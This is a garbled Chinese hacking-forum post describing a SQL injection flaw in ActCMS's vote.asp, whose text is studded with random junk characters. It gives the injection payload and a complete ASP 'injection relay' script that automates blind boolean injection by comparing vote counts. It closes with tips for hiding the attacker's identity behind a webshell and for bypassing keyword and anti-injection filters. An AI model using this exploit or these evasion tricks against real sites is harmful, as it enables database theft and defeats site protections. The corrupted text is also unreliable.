/ O. j( g- u% y$ |) q# F0 a
看到ninty大牛的blog的一篇文章
8 Q4 r# W; k' ^链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
2 Q( L/ Z" y& b5 `/ O( r关于actcms漏洞的利用 by 3x qq:381862589
4 F* L4 x, I4 Z2 `" n! [转载请注明以上2 V8 e# t$ V5 [, W% P
漏洞文件:1 h+ z8 \1 S( Y1 Y1 J, K/ ~$ G
/plus/vote/vote.asp
. w6 z5 Q/ F. o代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
" R" x% E [" n$ m% B# _5 u" h* G+ K' @2 x# Z
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" K! l! z @: m% @& K* X
. G) Y4 t7 v9 R% p
3 response.end 0 H5 w- s! b, l3 y, M. H5 J0 p8 J
" R% v& P. t: u( |; W$ y7 O: m
4 end if " y3 X. F8 y4 ]9 e; Z0 p* E* y1 R
6 s, K% G6 J8 ^
5 for i=1 to request("voted").count
( |7 A0 x8 j5 ^, f, g
w% d) q1 ^! T' m9 M- x9 c! U6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
+ J7 h1 }0 t$ A+ z# ?; }# ]
1 \4 `) m; V7 }$ F6 E" ]0 E7 next
* Z" v5 P5 C' K
7 ]# }1 D: v6 I x0 N2 K5 Q8 B8....
. f. W5 \# M# ]
( Y! B$ x, p. A9response.Redirect "index.asp?id="&id&"" * A. V* O) Z$ O8 L4 _2 p
投票结束回跳转回index.asp这个投票结果页面/ {5 L) o7 k$ W5 g) a! ]) A
如果投票成功票数加19 @3 x. _# @7 V; \. E$ h1 A
失败票数不变
( S% v+ F) ?/ m- P; w' m z如图:4 m2 M: e" D t4 e" U8 U
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
( _( x% O i" _4 B3 X3 C
" C, y! G. c/ B2009-12-27 13:20
/ f$ S! Q( }$ V/ Q2 T7 F$ y7 f9 A9 M" i: w' y; a% H6 J
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了8 z. o ^: J4 V! a/ J* a
u+ n! _ O/ p k' e! E8 ^
本帖隐藏的内容需要回复才可以浏览" D) a9 }3 g* e- m7 P9 t' k) g3 q
我们用注入中转来实现这个注入具体代码如下:
4 V" b( P3 B8 l. I: | ^2 v' V7 Q先用寂寞的刺猬大牛的注入中转生成jmget.asp8 v1 ^* R9 h8 L6 T' ^, `
注入地址:http://localhost/actcms/plus/vote/vote.asp
7 s+ Y8 F# ^$ f8 u注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
& V/ S" p. L! w% m+ `- V
& i8 X. z3 z, Y, \9 H$ u$ q" Y然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
# Q# L' O" j2 b& b/ q/ k! E% }2 K' R% s2 f& S" s+ A
02JmdcwName=request("jmdcw") 7 I8 X. H" m! j$ W4 h; J
i0 Y a: r, P+ Z; Y1 k& K3 E( E
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
z9 p% k' l" I* }1 k5 x0 j
. n G& a* R I$ c04JmStr="id=1&voted=-1 or 1="&JmdcwName
U7 C2 t/ N; D4 _8 S1 r) k. X; ^% | C
05JmStr=URLEncoding(JmStr)
4 v5 ]$ O* q# [# x, h, q
5 ]6 C2 q$ Z4 k+ _' O; l: f( e06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
& _, ~+ I1 r3 I7 U! P& p3 k# y4 Z; ^8 Y- t: }. o; U5 R+ g
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ ~7 \7 | D1 Y" R& |4 S u& E9 y( l, Y6 Y
08testurl=testurl & "?" & JmStr : i; R) l) I+ E' x6 @; K* [
6 M. G8 q1 ~0 s6 W2 B* N
09JMUrl=JMUrl & "?" & JmStr
* `( ?$ u' M) E$ L4 E7 {8 G" i$ T% f1 v# W
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
. F, {( N8 w3 s& @- @8 O. N* R6 z, Z0 q/ k: Q0 X
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. L& }, u6 N. J: N$ X& v
8 l3 M0 ~- U9 N* a12JmCok=replace(JmCok,chr(32),"%20") / M+ U, [. x8 j' o) ]; B
2 p- q- D5 h/ ^- s' b13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
5 Q& [. n$ ^' \5 _ V% i/ P$ y: @( f5 R/ |9 I& Z: w) [3 M
14
+ }- a% t0 N; O4 u0 ^
0 {+ N4 J3 p% P# N2 Z15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 1 z( \ }" k6 o: |; I
Z" m( H' q! _16 K9 y" B: ]* G$ C/ y8 r- v
1 H# o) A$ ~/ M8 R7 ?- B17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
; W3 @2 Z* e9 B& K) B! u5 n3 L! Y0 u2 I% B
18response.write test1&""&test2&""2 j$ B& _4 ?7 V' I2 i
- s# R1 |5 R; ?% x
19
% Z X5 o& U8 z8 F* A2 v+ y2 G9 x8 S$ V; Q: i8 o6 w
20if test1=test2 then '如前后记录相等,表示失败
9 W0 G# i7 \% P: d$ f9 n& S
. e7 B7 a0 F5 R' y1 F% [21 response.write "failed"
! P/ d& a2 U, M9 f- F G' b; B! _* T& F
22else
% |1 j" ]$ w/ c( r& n; Y
( }3 K' ~/ c2 \) V) u23 response.write "succeed". m v6 t H% ~( n: l
/ }1 X7 ]( W% `! c2 _/ n, B0 O24end if
9 [; S' w" u6 J, N% C& K% _7 W
3 s! X1 M i0 Z25 . h' v# q7 p& i. f" s
1 o, E; A; Y+ p, J7 F0 w* }26response.write "by 3x"# d) O7 H' U# ~: i/ E9 ]
1 o" ^9 ]) d: ?7 ]& k27
2 G0 @$ o% ^) s1 Q" a* b
; c" o5 p: m6 o; o. d( s, k28
- ?' O) W5 W( C9 @) t9 |; d c2 r. l
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
; E1 ^3 q/ Q1 o
$ r3 q W4 e. M, q30Dim Http , z" e2 ^0 {$ D' \; _! R5 _
% m. I/ l; A1 V- M S/ r+ `
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
9 ]8 u$ k' r' O$ k, M5 a
: a- _+ H; ?( v1 B32With Http
' N7 ^: S# \* t6 { G
, R3 u! [; J! Q* W33
/ [7 U5 A: L. a% K% o. k: x1 k# G& d
34.Open "GET",PostUrl,False" F' L( V2 D, ]% b7 C( a, o' U5 @
/ L4 C! R2 I6 W% A
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
/ \1 |) \! g7 ?) e& ?$ t$ t, A+ F' c, p" M! r! F) Q: Y. ^
36.SetRequestHeader "Referer",PostRef 9 |% d m6 ^5 ~% C
. ]8 E s! n0 _( k& Y8 h2 _
37.SetRequestHeader "Cookie",PostCok
( N. e* ?# v$ H; s3 r( j4 i' K( u
38.Send () 0 U) N) ^& f! G9 ^$ Z
/ _! U. @; u5 N2 [# u2 i9 ?39PostData = .ResponseBody 2 R2 M' |6 k: ^2 F2 }+ I
! N+ g" I8 J \8 l
40End With; Q5 e. R( ~, ~8 {
( w; D# v" E- g( A+ E4 e41Set Http = Nothing
8 {7 ~! L' [; M$ ?7 R& F E) ~. p4 U' c% Q. U2 Z- Q
42PostData =bytes2BSTR(PostData)
" |7 \; E( @% A3 h( {
& E" ?8 l c+ T# \1 \43End Function7 ~8 n. \% a2 _, \/ M
; F$ H$ P! |8 n7 F9 p n+ ~0 s1 Y
44 # v# a5 G5 B0 z3 R
* ]1 w6 L, K" Z
45
N( ~3 a& }# ~2 P; q* D
4 _+ ]3 }/ p( v" \( n8 L d0 n) i. X" g46Function bytes2BSTR(vIn) 7 q& v4 }% u0 k J- B
) a) \/ D0 Q; B! x# Z4 X2 Y
47Dim strReturn
: f3 X# _$ f$ M9 Q1 W
6 P& i/ b1 E6 L1 V( d48Dim I, ThisCharCode, NextCharCode : @' {2 F6 |/ Q' o& s8 b, r) ]+ c
6 T& w; F. k2 b" z4 \$ c1 @$ a
49strReturn = ""
* D! B- n& d6 O0 C4 e% z4 `) I2 o0 y/ X. F
50For I = 1 To LenB(vIn) 2 k" T# D. a8 v7 X3 u; v# ]$ I4 E
5 f9 c7 b/ Y5 R4 A) |+ r$ i2 C51ThisCharCode = AscB(MidB(vIn, I, 1)) ( Y- ~7 @) c" l% r, j5 }9 b% H
, w& [' I# O1 N! |3 @52If ThisCharCode < &H80 Then
* O y" [: P. j4 u" D/ O: o. ^9 i' q v/ M
53strReturn = strReturn & Chr(ThisCharCode)
* P& |" p5 _5 }8 H
0 f# |& h% {0 R. X! i! C54Else
/ d( I6 [, [3 h0 F( B$ R, w: ]! O! U `& E1 w" m& W
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. K n( M+ u2 {
" T& c- _, k7 [56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) - F9 f/ X' ?* l7 f; c8 t
& N3 u* d. l. q0 D57I = I + 1
3 ]) G7 Y% T8 v4 X9 {# Q' I6 q+ H3 p: M# @7 H6 s
58End If0 H# r) a- o5 o d4 [
0 c- b' w4 A% A) a* A& `7 I' `
59Next
* p: y4 z' A0 ?# I2 V1 H4 Y3 s' L. {; u
60bytes2BSTR = strReturn
! \' d# d C: L0 i# f6 @$ F2 Y# X7 V6 E& w& o6 w4 J
61End Function
/ R# h& f$ G& Q2 f3 ~/ U
' q. ^3 [( B: L4 Q7 q5 v62 % f7 D3 y2 C5 g' d0 v3 L
# l8 ]# h: i3 i' F Q/ L
63Function URLEncoding(vstrin) 3 q, n. E \3 J) D0 q/ }0 ]0 D" b
, p. i' t2 e; ]. ^/ l7 c
64strReturn=""
# |, A; [) p$ N, T$ o
* w2 \5 @& N9 \6 @8 S" t" b65Dim i
) i, `1 `- w# w/ ^1 ?4 u. n2 m% b6 e
66For i=1 To Len(vstrin) 8 V. K. L4 H. e8 r$ P
+ f" F, _9 R1 F0 i
67ThisChr=Mid(vstrin,i,1)
/ [& s3 B' s, o* A b/ j* `- D2 k" I! }. @1 m8 \! b
68if Abs(Asc(ThisChr))< &HFF Then/ T# O6 ~, \. }) w; I1 Z' {
2 u4 S/ M1 e9 s/ w
69strReturn=strReturn & ThisChr
) X1 D4 j/ k( y2 [* i% x: e$ w( U- b: G6 L' t
70Else
/ l" N! J: Q4 y1 z
0 E% L. K4 u, K, G' Q71InnerCode=Asc(ThisChr) / R; ^7 w' E5 R. x
1 b+ k- y. f% S* I$ o3 Y `72If InnerCode<0 Then: X; |, V! i% g, F
% d* F! b) N- s& M: x3 ~7 o73InnerCode=InnerCode + &H10000
4 r+ p; {5 p# R$ P) r, d% t( e8 a/ q/ o% b
74End If
5 l' E" T7 h% S: ]4 P d) a7 t3 T
/ ]% h8 G% Y$ L75Hight1=(InnerCode And &HFF00) \&HFF
( o; o. W& q- \5 [* z) k2 ^6 L% U& C7 g$ q, k3 H0 t4 p
76Low1=InnerCode And &HFF O% P( I, @3 \: v+ [+ O0 I
# O7 i- E( x+ J* J2 }! ?77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 8 F5 \& f5 B6 ]
7 r0 f2 o& q( j. O3 }7 [78End if
, g3 E# Q+ ~, E- L8 l K5 @
# r" W3 `3 I% \79Next! I7 W5 D P: V2 ^% L7 f$ n
; U, N2 @2 D. ~1 L) k80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
! e- X' a7 J, b" Y1 a: B! d0 N2 s) b4 g
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
0 H9 `* \! J+ G0 x
5 M& c8 G* r# I6 k, c+ J. u82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 2 F! C, }0 z9 g1 `9 V" L% k: \$ R1 w
, ]6 Z6 N- S; g; K; i% t5 g4 Y
83URLEncoding=strReturn 4 I; I: y# b9 u l1 d; D0 y
g& `" C2 l, z+ q. k. B2 j
84End Function- D5 G" |: T( S5 T7 n
$ W+ H$ ^' S e' M
85
. l8 q- ^; Z5 H1 O0 Z! a$ P3 x2 F& t
86function getSt(body) 9 q$ c! [: s3 N# d
' C' S: \3 o& ^9 t2 p. Q0 t/ i87 startpot=instr(body,"投票人数:")+len("投票人数:") 8 n- O1 s9 J, W
& c7 G& j# G" M0 w. X2 x( O/ p) Y
88 endpot=instr(startpot,body," ") 3 n7 c+ ]! J' m9 e0 t
1 T: i7 G; p# I, r) n8 L* C
89 getSt=mid(body,startpot,endpot-startpot)
! E: q1 w$ g/ r( S6 R- u7 t5 t5 ]
90end function ; a- l$ L" x4 E: Q! m% U- a% [- ]3 Z
4 m7 X% }4 _+ Q3 S+ t) W
91%>7 e) z; W- U# b" J A* Z, m1 j
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
- ~6 l2 Z: t$ Q- F ]/ n测试下效果:5 V9 b) {. S) }6 N
投票成功:. i- f3 J! P3 s3 O' C
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
# L; h1 h7 h% @% \& u, F( o& M) j# F7 f; A
2009-12-27 13:29
3 P( M, `/ P2 m3 Y' d投票失败 D- b1 d% C# M% }& ^% b% ?2 ?
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)6 h8 ] Q5 ^6 I
2 U/ r$ U5 b: R+ ~9 j
2009-12-27 13:29
! N" g$ W3 x9 \-------------------------------------------------------------------------------# ?3 A' {# t0 m9 m
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以# A% O. D4 w2 ^& D2 g* W& I
很抱歉。。。只能用单线程工具去注入。。。。。+ u% ?8 S; h4 m
所以失败。。。不好意思。。。
; [" J: H# ^" e4 I- Z! Y-------------------------------------------------------------------------------0 i& L0 `$ P) B! k H/ O
! J4 v, W! s/ y$ w注入中转的一些其他应用
s; d) M; O$ Y. l/ B a8 Z其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
' I3 P( Z& \- k) T: k1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id( G0 r: G. r- ]6 ^
2.post注入转成get型的注入,方便我们使用工具来跑
3 M& U' w9 i$ y2 f3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")7 b! C6 H8 P& G; K+ I V
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
- w' C5 P! I( e {. W" a' ^) [9 m
|